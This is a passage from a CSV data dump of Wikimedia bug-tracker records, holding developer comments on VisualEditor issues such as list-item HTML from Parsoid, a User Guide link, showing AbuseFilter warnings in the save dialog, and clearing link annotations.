+#bar",,,1372694554,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+242038,VisualEditor: Likely invalid HTML emitted for list items,"Cannot reproduce:
+
+echo -e '#foo\n#bar' | node parse --wt2wt
+#foo
+#bar
+
+Can you provide the HTML the VE sends?",,,1372694100,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1
+242031,VisualEditor: Likely invalid HTML emitted for list items,"This appears to be a (new?) bug in Parsoid - 
+
+# Foo
+# Bar
+
+-> 
+
+# Foo## Bar
+
+rather than
+
+# Foo
+## Bar
+
+Unless we're breaking something in VisualEditor somehow?",,,1372691714,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fn66at2vne5i62qo6jnn,task_subcomment,,True,c1,3,True,,,0,,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+52476,VisualEditor: Add a link to the User Guide to the interface,"As per http://www.mediawiki.org/wiki/Help_talk:VisualEditor/User_guide#Discoverability .
+Might be handy, since we're pretty much beginners with it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1372621440,1372703974.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-pcueszubfgitqkx3f2bv,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+241705,VisualEditor: Add a link to the User Guide to the interface,This has been done and will go out later today.,,,1372703974,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pcueszubfgitqkx3f2bv,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+241701,VisualEditor: Add a link to the User Guide to the interface,"Change 71376 merged by jenkins-bot:
+Add user guide link to beta icon drop down
+
+https://gerrit.wikimedia.org/r/71376",,,1372703622,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pcueszubfgitqkx3f2bv,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241696,VisualEditor: Add a link to the User Guide to the interface,"Change 71376 had a related patch set uploaded by Jforrester:
+Add user guide link to beta icon drop down
+
+https://gerrit.wikimedia.org/r/71376",,,1372699824,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pcueszubfgitqkx3f2bv,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241690,VisualEditor: Add a link to the User Guide to the interface,"That sounds good. The link should probably be something like [[mw:Special:MyLanguage/Help:VisualEditor/User guide]] and live in a MediaWiki: interface message, so that wikis can customize it to link to a local page.
+
+My feeling is that the link to the user guide should persist even after we're out of the beta, but we can discuss this then.",,,1372679384,,PHID-USER-z6nzrwuaij3spgyg23jt,True,,,PHID-TASK-pcueszubfgitqkx3f2bv,task_subcomment,,True,c1,3,False,,,0,,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+241684,VisualEditor: Add a link to the User Guide to the interface,"Possibly add the help icon to the ""beta"" label, and have it as an option in the menu?",,,1372627245,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pcueszubfgitqkx3f2bv,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0
+52472,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"[Forked from the more general 50350.]
+
+Currently when AbuseFilter blocks an edit made with VE, the only response we can display is:
+
+| The modification you tried to make was aborted by an extension hook
+
+When bug 32216 is done - AbuseFilter is changed to use the APIEditBeforeSave hook - we can display this significantly more nicely.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1372618620,1374090444.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-xz7of2bozktz6cktgsun,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+241230,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"Then I suspect the problem is an extension of bug 50058, which will be fixed in time. If so, it's probably not worth prioritising as a new bug (or reopening this one) since abusefilter triggerers are likely to be new users, ergo on vector.",,,1374265703,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+241224,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"**kwwilliams** wrote:
+
+Of course I use Monobook, Oliver.",,,1374265556,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+241218,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"Are you, by any chance, on monobook?",,,1374264793,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+241213,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"**kwwilliams** wrote:
+
+Tested this, now that it is deployed, and have to say that while it the change came close to being a solution, it isn't quite there. The edit-filter notice produced when using the standard editor is large, easy to read, and quite clear. The edit-filter noticed produced when using VE is tiny, uses an infinitesimal font, and is extremely difficult to read.",,,1374264704,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+241208,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"enhancement->major, as this is an integration bug.",,,1374185775,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+241203,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,*** Bug 50727 has been marked as a duplicate of this bug. ***,,,1374112342,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+241197,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,Warnings will now show (once we deploy).,,,1374090444,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+241191,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"Change 74102 merged by jenkins-bot:
+mw.ViewPageTarget: Show AbuseFilter warning in save dialog
+
+https://gerrit.wikimedia.org/r/74102",,,1374087934,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+241184,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"Change 74102 had a related patch set uploaded by Krinkle:
+mw.ViewPageTarget: Show AbuseFilter warning in save dialog
+
+https://gerrit.wikimedia.org/r/74102",,,1374023516,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+241179,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,Marked as blocked by 51403 in AbuseFilter.,,,1373928234,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+241173,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"Change 73877 merged by jenkins-bot:
+mw.ViewPageTarget: Surface error messages from core edit api
+
+https://gerrit.wikimedia.org/r/73877",,,1373927436,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241167,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"**kwwilliams** wrote:
+
+Just in case it's important to the fix, the message returned by the abuse filter is free format and generally contains templates and other markup.",,,1373926866,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+241162,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"(In reply to comment #8)
+> Change 73877 had a related patch set uploaded by Krinkle:
+> mw.ViewPageTarget: Surface error messages from core edit api
+> 
+> https://gerrit.wikimedia.org/r/73877
+
+This is not yet sufficient since we should be surfacing the
+warning associated with the filter (or the abusefilter-warning
+message by default). The most significant part we're missing
+right now is:
+* Localization
+* The fact that (at least for some filters) they can submit
+  the edit by just trying again.
+
+This is currently blocked by the AbuseFilter not sending the parsed version of the triggered warning through the API (see http://cl.ly/image/1E2r1J2U3K0v, I'm getting raw wikitext instead of HTML).
+
+And perhaps (though less important) we could also use a boolean property to distinguish between filters that are warnings that can be bypassed by trying again and filters which prevent the user from saving.",,,1373926321,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+241156,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"Change 73877 had a related patch set uploaded by Krinkle:
+mw.ViewPageTarget: Surface error messages from core edit api
+
+https://gerrit.wikimedia.org/r/73877",,,1373926266,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241150,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,*** Bug 51139 has been marked as a duplicate of this bug. ***,,,1373495105,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241146,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"(In reply to comment #5)
+> Has this actually been deployed?
+
+No.
+
+> I just tested, and the error message has changed (it now reads ""invalid
+> error code"", while it used to read ""Error: the notification you have made
+> was aborted by an extension hook"").
+
+That's almost certainly caused by the ""fixing"" of bug 32216, which changes what we need to integrate with.",,,1373401097,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,1
+241140,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"**kwwilliams** wrote:
+
+Has this actually been deployed? I just tested, and the error message has changed (it now reads ""invalid error code"", while it used to read ""Error: the notification you have made was aborted by an extension hook""). If that was the fix, I think it's pretty obvious that it's incomplete, as it still isn't displaying the warning from the edit filter.",,,1373385258,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,1,0,0,0
+241131,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,*** Bug 50828 has been marked as a duplicate of this bug. ***,,,1373054299,,PHID-USER-jnta3z3spxto3vbxdngm,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241126,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"(In reply to comment #2)
+> I strongly, strongly object to the categorization of this as an
+> ""enhancement"".
+
+""Enhancement"" does not mean ""not going to be done soon""; it merely means that this is not a feature that's meant to be currently working, but instead, a feature we'd like to add.
+
+This feature in particular is on our immediate work list, and hopefully will be done in the next week or so.",,,1372952430,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,0,,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,1
+241118,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,"**kwwilliams** wrote:
+
+I strongly, strongly object to the categorization of this as an ""enhancement"". This is a basic feature that needs to be addressed. There aren't many edit filters that block edits, but when an editor trips one of the ones that does, its important that he have an idea as to what to fix. There's no place for an editor to even begin looking to find out what is happening and what it is about his edit that is causing it to fail. It's not really even obvious from the message that it's a content issue.",,,1372952091,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,False,,,0,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+241111,VisualEditor: Show the warning of a triggered AbuseFilter filter in the save dialog,*** Bug 50719 has been marked as a duplicate of this bug. ***,,,1372921240,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xz7of2bozktz6cktgsun,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52471,VisualEditor: Newest CSS not showing up in production for some users (so reference editor not correctly formatted),"Screenshot
+
+See screenshot. Firefox 21.0, Windows XP. As well as misplacing the toolbar it's also hiding the 'create new source' on articles with lots of sources.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11391}",High,80.0,1372617600,1373852943.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-3yckz2spdz6vwpvvlsja,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+241080,VisualEditor: Newest CSS not showing up in production for some users (so reference editor not correctly formatted),Roan fixed this in his mega-CSS-rewrite.,,,1373852943,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3yckz2spdz6vwpvvlsja,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+241075,VisualEditor: Newest CSS not showing up in production for some users (so reference editor not correctly formatted),*** Bug 50455 has been marked as a duplicate of this bug. ***,,,1372620610,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3yckz2spdz6vwpvvlsja,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+241072,VisualEditor: Newest CSS not showing up in production for some users (so reference editor not correctly formatted),"Renamed (aka, I hate ResourceLoader's caching, some times :-().",,,1372620482,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3yckz2spdz6vwpvvlsja,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+52461,VisualEditor: Clear annotations icon no longer clearing link annotations,"The formatting icons of the VisualEditor toolbar are currently ""B"" for bold, ""I"" for italics, the chain for links and the remove icon to clear formatting.
+
+This series of icon seems to indicate that links are a kind of formatting. However; ""Clear formatting"" doesn't affect links; it only removes bold and italics.
+
+Either links *are* a kind of formatting, and the ""Clear formatting"" action should remove them, or they aren't, and the Link icon shouldn't stand in the middle of icons that add and clear formatting. The current order and behavior are confusing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372600920,1373930966.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-xid2rg44chmbsuqujmzr,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+240626,VisualEditor: Clear annotations icon no longer clearing link annotations,Fixed and will go out in a few minutes.,,,1373930966,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xid2rg44chmbsuqujmzr,task_subcomment,,True,c1,3,True,,,2,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+240619,VisualEditor: Clear annotations icon no longer clearing link annotations,"Change 73896 merged by jenkins-bot:
+Compare annotations by name only when clearing/toggling
+
+https://gerrit.wikimedia.org/r/73896",,,1373930577,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xid2rg44chmbsuqujmzr,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+240611,VisualEditor: Clear annotations icon no longer clearing link annotations,"Change 73896 had a related patch set uploaded by Esanders:
+Compare annotations by name only when clearing/toggling
+
